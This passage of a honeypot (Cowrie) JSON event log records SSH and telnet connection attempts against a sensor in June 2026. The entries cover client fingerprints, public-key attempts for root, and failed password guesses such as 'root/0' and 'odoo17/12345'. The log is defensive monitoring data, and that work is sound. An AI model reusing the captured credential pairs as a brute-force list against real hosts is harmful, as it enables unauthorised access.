-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:55.094378Z","src_ip":"45.156.87.147","session":"9f3e7c0ed940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:55.339321Z","src_ip":"45.156.87.147","session":"9f3e7c0ed940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:56.427285Z","src_ip":"45.156.87.147","session":"9f3e7c0ed940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.197.250.14","src_port":47838,"dst_ip":"10.17.0.5","dst_port":22,"session":"76dcdd1b8fe2","protocol":"ssh","message":"New connection: 168.197.250.14:47838 (10.17.0.5:22) [session: 76dcdd1b8fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:56.784429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:56.787808Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:56.948175Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:06:fe:1a:1f:15:31:51:b5:17:a7:a9:15:29:74:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVbEXc49fOufZJI8Wu8IBr37aNzD8NRIdtAtGIltQ+poB9bpUVgnYWVMKUCLRleK6M36fI+diavn2lik4LG8PJlRxlzVQ5tfiCtCyBu2blzU9znXeozoMsl/fIvEM6P8pgSomi47O4I/FNgSlDmKw5gB+fahiEnVzB32AMk8jicL66Tj1ijzI/Kzb59c8VA1ec3/KwL4kKPuK9Vh93lgaHeIjmOA9lhMD/YJhXqN0NPVS3uMsQUcRj3SkYlby50LrnZAO/6GO6wK+Mns6XBre5CaFz/E5EOD5urXDF8aUSwBPFVvDgER6FXkaGwbo1icx1CTI1u8DCtXFCkfgiyyfN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:06:fe:1a:1f:15:31:51:b5:17:a7:a9:15:29:74:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:57.725217Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:06:fe:1a:1f:15:31:51:b5:17:a7:a9:15:29:74:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVbEXc49fOufZJI8Wu8IBr37aNzD8NRIdtAtGIltQ+poB9bpUVgnYWVMKUCLRleK6M36fI+diavn2lik4LG8PJlRxlzVQ5tfiCtCyBu2blzU9znXeozoMsl/fIvEM6P8pgSomi47O4I/FNgSlDmKw5gB+fahiEnVzB32AMk8jicL66Tj1ijzI/Kzb59c8VA1ec3/KwL4kKPuK9Vh93lgaHeIjmOA9lhMD/YJhXqN0NPVS3uMsQUcRj3SkYlby50LrnZAO/6GO6wK+Mns6XBre5CaFz/E5EOD5urXDF8aUSwBPFVvDgER6FXkaGwbo1icx1CTI1u8DCtXFCkfgiyyfN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:57.729654Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:c8:6e:f8:9b:64:f0:5b:20:a9:1b:74:07:14:e7:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoPzXVB+3wfhRM06eQw8+86xOesqRtd8pOFDOjezNXGAryI9PcqoJ+hOQpEwTBcROSmZr85ToDyllH0fw1ntdhmEW7wJZiDDxGLryroOXFtx0khQVWIx8i4XWkm3aBMK99BMT0o9FHtjU/2cVcnOkPhMMfNSQNmN4EQ+NBe9wJlA653XsWVKxmWkzSnc/vmBEEH1uE38qMRScaWG0CZzk/0f0MIFqQpeZ0Dfz5jC4d64ebh561yKpqQPQMC9CuwY+NhKaYepe+qRJwH0euAKktELTBWqobrESWIgPMVZZfnGdiOQQybqp2JjAf70R9tyIg1H6hcm78+aKMXKXztlD6t3gCp9ht+h9E41L6nZM15MlMbeygTOCJE7bfEEpHVbmZ0i/1SqSjIT+QB/ZVrBtrdKZkzTlL7C14Zzv9bhZts+9Q2KdcF0yXahpbyHXR8SaLCxviU/UGc0k56Qx7jT7zdhGh6xpSNjW0Au/OOxTj8sjfK/f2KApov2oE/wlLGt/9yekdhMO6EQUt74yyDwXwSwANaddnmZfIbhjLm0oW7atvsOHejDAlv5PFnk736ADfdlrsdTJb8676J8zdHz5cIfa9I3YJUgecnbYUdcxwbRJLSA5z+qRGBgjjrlbPX39keNYbtXOZ77w/wru5bpBU7/03y2/q1U1ksHrpOk3yNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:c8:6e:f8:9b:64:f0:5b:20:a9:1b:74:07:14:e7:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:57.894055Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:c8:6e:f8:9b:64:f0:5b:20:a9:1b:74:07:14:e7:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoPzXVB+3wfhRM06eQw8+86xOesqRtd8pOFDOjezNXGAryI9PcqoJ+hOQpEwTBcROSmZr85ToDyllH0fw1ntdhmEW7wJZiDDxGLryroOXFtx0khQVWIx8i4XWkm3aBMK99BMT0o9FHtjU/2cVcnOkPhMMfNSQNmN4EQ+NBe9wJlA653XsWVKxmWkzSnc/vmBEEH1uE38qMRScaWG0CZzk/0f0MIFqQpeZ0Dfz5jC4d64ebh561yKpqQPQMC9CuwY+NhKaYepe+qRJwH0euAKktELTBWqobrESWIgPMVZZfnGdiOQQybqp2JjAf70R9tyIg1H6hcm78+aKMXKXztlD6t3gCp9ht+h9E41L6nZM15MlMbeygTOCJE7bfEEpHVbmZ0i/1SqSjIT+QB/ZVrBtrdKZkzTlL7C14Zzv9bhZts+9Q2KdcF0yXahpbyHXR8SaLCxviU/UGc0k56Qx7jT7zdhGh6xpSNjW0Au/OOxTj8sjfK/f2KApov2oE/wlLGt/9yekdhMO6EQUt74yyDwXwSwANaddnmZfIbhjLm0oW7atvsOHejDAlv5PFnk736ADfdlrsdTJb8676J8zdHz5cIfa9I3YJUgecnbYUdcxwbRJLSA5z+qRGBgjjrlbPX39keNYbtXOZ77w/wru5bpBU7/03y2/q1U1ksHrpOk3yNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:57.897379Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.14.202.153","src_port":44768,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f55d016d4c","protocol":"telnet","message":"New connection: 52.14.202.153:44768 (10.17.0.5:23) [session: 52f55d016d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:57.933713Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:f0:0e:04:1e:c5:63:d2:ac:48:22:0f:d9:4b:3f:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfZwUhXd55h2ZCiAXfRemyzq4kRxkTU7SBu3ik9C5TPWsP4F5erWQlDcEWCR9VtmUmj2hSqXGAvsCh7iEl7dBI6jdA5SeRAOwqtM3zYZsKX7W4nOSYatbY3Y7xUme2C3kbYQlARCZX1SMqFUy6BdzTkJAW0TQxrInGDtkO3o8z2qMAc2RH6yONgK/avhKDQJH21szUVp1Kb5eQq+Cq4AaSMBV/0qrz8SDqM0syh/P3PfilqjpUbVV8J3O28+aNegtTlC3k0Uj6m+Gjph466pbmgmK90+uOomc0aBX7qKDBNCAzHO/UaaXF43jir2WlyLLoRGb8da/+TuF7lqUtjRQt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:f0:0e:04:1e:c5:63:d2:ac:48:22:0f:d9:4b:3f:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.057503Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:f0:0e:04:1e:c5:63:d2:ac:48:22:0f:d9:4b:3f:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfZwUhXd55h2ZCiAXfRemyzq4kRxkTU7SBu3ik9C5TPWsP4F5erWQlDcEWCR9VtmUmj2hSqXGAvsCh7iEl7dBI6jdA5SeRAOwqtM3zYZsKX7W4nOSYatbY3Y7xUme2C3kbYQlARCZX1SMqFUy6BdzTkJAW0TQxrInGDtkO3o8z2qMAc2RH6yONgK/avhKDQJH21szUVp1Kb5eQq+Cq4AaSMBV/0qrz8SDqM0syh/P3PfilqjpUbVV8J3O28+aNegtTlC3k0Uj6m+Gjph466pbmgmK90+uOomc0aBX7qKDBNCAzHO/UaaXF43jir2WlyLLoRGb8da/+TuF7lqUtjRQt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.060844Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.14.202.153","src_port":45804,"dst_ip":"10.17.0.5","dst_port":22,"session":"de6f21705bf5","protocol":"ssh","message":"New connection: 52.14.202.153:45804 (10.17.0.5:22) [session: de6f21705bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.105520Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:42:fe:08:8f:11:ea:1e:d2:a4:5f:21:b7:67:55:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/XQcLgTBbRjvuKdVbVmWJxw5nTWfNIUts/O5WgH7A4h2EffO5CSyhRf6VeklI9trBVK0GWWRVOvMky8FJJGKO8oVG7obA+ZZt6trogkwyozBj+itqFpJFGF8DEpRxo5wqJhWVMoDEk7plZcqfe8PrpSHyQVyBCxPYlC0f+IxbIjTrGs/VnObYzOpwdbwaRqedZTn41wOrdC6vRnhiof/kndn0lrZdKvXXb9rRK7LN4cfyMk0Bkr3D/MU3mv92biQF7i6xV5mImISJD5uMlS/+Ov7ySdMxSIandHTmtq/r8WHAbxVsHpjDjaVJyi8C+aJZRE5ZFYd9gjwKIpcAOvxgMts0k7xKOp71BKRE5MejQr2MYRAhyxC3hZvNcV5AYKbc5xpiB7O5KRxR1ETu1NMKCNZ9XGoOq+bpjTs9v6OGVghfW8zNskAgxzYkTtg5UCYoc6azmrWHjzOqBI1xzdiK5T4RkfvhVPQ3DOJuaQpiK34f1Y6Q8y26pt5zwUF4PN052piuwhnV6jkg4xRIO/NKM22Yquxt1eg//+exsSvRdCi4Je30BE8jUm4USnQZVv6IKBvhMGmzRiIB4Wl227DVi2rL2IEd82ApQ9vl4wPq7mi2NKexzBzPjq/iZF9223nRcGxIgV94W1ZogjXSuUxKBDpVpuj2IbByc/WDnlUuAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:42:fe:08:8f:11:ea:1e:d2:a4:5f:21:b7:67:55:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.220528Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:42:fe:08:8f:11:ea:1e:d2:a4:5f:21:b7:67:55:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/XQcLgTBbRjvuKdVbVmWJxw5nTWfNIUts/O5WgH7A4h2EffO5CSyhRf6VeklI9trBVK0GWWRVOvMky8FJJGKO8oVG7obA+ZZt6trogkwyozBj+itqFpJFGF8DEpRxo5wqJhWVMoDEk7plZcqfe8PrpSHyQVyBCxPYlC0f+IxbIjTrGs/VnObYzOpwdbwaRqedZTn41wOrdC6vRnhiof/kndn0lrZdKvXXb9rRK7LN4cfyMk0Bkr3D/MU3mv92biQF7i6xV5mImISJD5uMlS/+Ov7ySdMxSIandHTmtq/r8WHAbxVsHpjDjaVJyi8C+aJZRE5ZFYd9gjwKIpcAOvxgMts0k7xKOp71BKRE5MejQr2MYRAhyxC3hZvNcV5AYKbc5xpiB7O5KRxR1ETu1NMKCNZ9XGoOq+bpjTs9v6OGVghfW8zNskAgxzYkTtg5UCYoc6azmrWHjzOqBI1xzdiK5T4RkfvhVPQ3DOJuaQpiK34f1Y6Q8y26pt5zwUF4PN052piuwhnV6jkg4xRIO/NKM22Yquxt1eg//+exsSvRdCi4Je30BE8jUm4USnQZVv6IKBvhMGmzRiIB4Wl227DVi2rL2IEd82ApQ9vl4wPq7mi2NKexzBzPjq/iZF9223nRcGxIgV94W1ZogjXSuUxKBDpVpuj2IbByc/WDnlUuAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.223987Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.39554548263549805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.329156Z","src_ip":"52.14.202.153","session":"52f55d016d4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.352352Z","src_ip":"52.14.202.153","session":"de6f21705bf5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:b1:51:19:03:84:18:e4:c1:40:41:65:09:bd:86:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyt9gi25xZa6MVeddStfx9m6UhB+uQeQYHCUE5bcFnTUJKCZ04h7I0prEOOEmI8UivqTFr4b3gd4ckveITHpK4yk0t6FFHdtZiDKmb/EBG4LKjA+hwoM1m+jdZXwW/FH6icV1pbPuEft00hN8rEfF4el/GuudiyxX19StnjAQoe2I3Gseu6ru1uVFxGQQPz5gf0XyRHs6j0ML1SzBfBordAnog29uyfMHhKwzXdcW3Mi1FPS/463s7HbB1iPhc/e/xD6s17h2q/NGmokwfzQo1Rfkzn7auSQPtB0lOLR4cXNRw3pzoW2SKiIFgHskhJ5f50bndCPFs9xwsl/uqIBnCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:b1:51:19:03:84:18:e4:c1:40:41:65:09:bd:86:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.386046Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:b1:51:19:03:84:18:e4:c1:40:41:65:09:bd:86:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyt9gi25xZa6MVeddStfx9m6UhB+uQeQYHCUE5bcFnTUJKCZ04h7I0prEOOEmI8UivqTFr4b3gd4ckveITHpK4yk0t6FFHdtZiDKmb/EBG4LKjA+hwoM1m+jdZXwW/FH6icV1pbPuEft00hN8rEfF4el/GuudiyxX19StnjAQoe2I3Gseu6ru1uVFxGQQPz5gf0XyRHs6j0ML1SzBfBordAnog29uyfMHhKwzXdcW3Mi1FPS/463s7HbB1iPhc/e/xD6s17h2q/NGmokwfzQo1Rfkzn7auSQPtB0lOLR4cXNRw3pzoW2SKiIFgHskhJ5f50bndCPFs9xwsl/uqIBnCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.388798Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:58.548219Z","src_ip":"168.197.250.14","session":"76dcdd1b8fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57258,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c1957fc9884","protocol":"ssh","message":"New connection: 45.156.87.147:57258 (10.17.0.5:22) [session: 2c1957fc9884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:00.835193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:00.838691Z","src_ip":"45.156.87.147","session":"2c1957fc9884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:00.925341Z","src_ip":"45.156.87.147","session":"2c1957fc9884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:01.174503Z","src_ip":"45.156.87.147","session":"2c1957fc9884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:02.265329Z","src_ip":"45.156.87.147","session":"2c1957fc9884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57272,"dst_ip":"10.17.0.5","dst_port":22,"session":"685952728ce9","protocol":"ssh","message":"New connection: 45.156.87.147:57272 (10.17.0.5:22) [session: 685952728ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:06.837786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:06.931939Z","src_ip":"45.156.87.147","session":"685952728ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:06.967914Z","src_ip":"45.156.87.147","session":"685952728ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"12345","message":"login attempt [odoo17/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:07.276395Z","src_ip":"45.156.87.147","session":"685952728ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:08.364359Z","src_ip":"45.156.87.147","session":"685952728ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51516,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dfb883f58b9","protocol":"ssh","message":"New connection: 45.156.87.147:51516 (10.17.0.5:22) [session: 0dfb883f58b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:12.745506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:12.749474Z","src_ip":"45.156.87.147","session":"0dfb883f58b9","protocol":"ssh"}
